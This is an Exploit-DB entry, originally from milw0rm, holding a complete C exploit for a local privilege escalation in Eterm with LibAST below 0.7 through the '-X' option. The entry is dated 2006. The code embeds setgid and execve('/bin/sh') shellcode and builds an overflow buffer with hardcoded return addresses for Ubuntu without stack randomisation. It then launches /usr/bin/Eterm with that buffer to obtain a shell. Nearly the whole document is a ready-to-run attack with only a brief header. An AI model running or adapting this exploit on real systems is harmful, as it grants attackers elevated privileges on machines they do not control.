Exploit-DB #1445
Description: Eterm LibAST < 0.7 - '-X' Option Privilege Escalation
Type: local
Platform: linux
Date: 2006-01-24
Author: Johnny Mast

Exploit:
// eterm by default isn't setuid but there is a lot of instances where 
// it needs setuid root/utmp to run different options. /str0ke

/***************************************************************************
 *   Copyright  ©Rosiello Security 2006                                    *
 *                                                                         *
 *   URL: http://www.rosiello.org                                          *
 *   Author: Johnny Mast                                                   *
 *   e-mail: rave@rosiello.org                                             *
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 *   This program is distributed in the hope that it will be useful,       *
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
 *   GNU General Public License for more details.                          *
 *                                                                         *
 *   You should have received a copy of the GNU General Public License     *
 *   along with this program; if not, write to the                         *
 *   Free Software Foundation, Inc.,                                       *
 *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *
 ***************************************************************************/

 //Exploit for Ubuntu with no randomized stack

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] =
/* Set gid */
 "\x90\x90\x90\x90\x90\x90\x90"
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"
"\x31\xdb\x31\xc9\xb3\x2b\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"

/* execve() */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long ret = 0xd096edb7;
unsigned long shell = 0xbfffebfd;



int main(void)
{
 char *first, *last, *ptr;
 char  a[4], b[4];
 int slen = strlen(shellcode);

 if (!(first = (char *)malloc(4165)))
  {
   printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
   exit(-1);
  }


 if (!(last = (char *)malloc(16)))
  {
   printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
   exit(-1);
  }

  if (!(ptr = (char *)malloc(4183)))
  {
   printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
   exit(-1);
  }

  strcpy(first, shellcode);
  memset(first+slen, 'A', 4162-slen);
  memset(last,  'A', 12);
  first[4162] = '\0';
  last[12] = '\0';

  a[0] = (ret >> 24) & 0xff;
  a[1] = (ret >> 16) & 0xff;
  a[2] = (ret >> 8) & 0xff;
  a[3] = (ret) & 0xff;


  b[0] = (shell >> 24) & 0xff;
  b[1] = (shell >> 16) & 0xff;
  b[2] = (shell >> 8) & 0xff;
  b[3] = (shell) & 0xff;

  sprintf(ptr, "%s%c%c%c%c%s%c%c%c%c", first,a[0],a[1], a[2], a[3], last,
  b[3],b[2],b[1],b[0]);



  execl("/usr/bin/Eterm", "eterm", "-X", ptr, NULL);
 return 0;
}

// milw0rm.com [2006-01-24]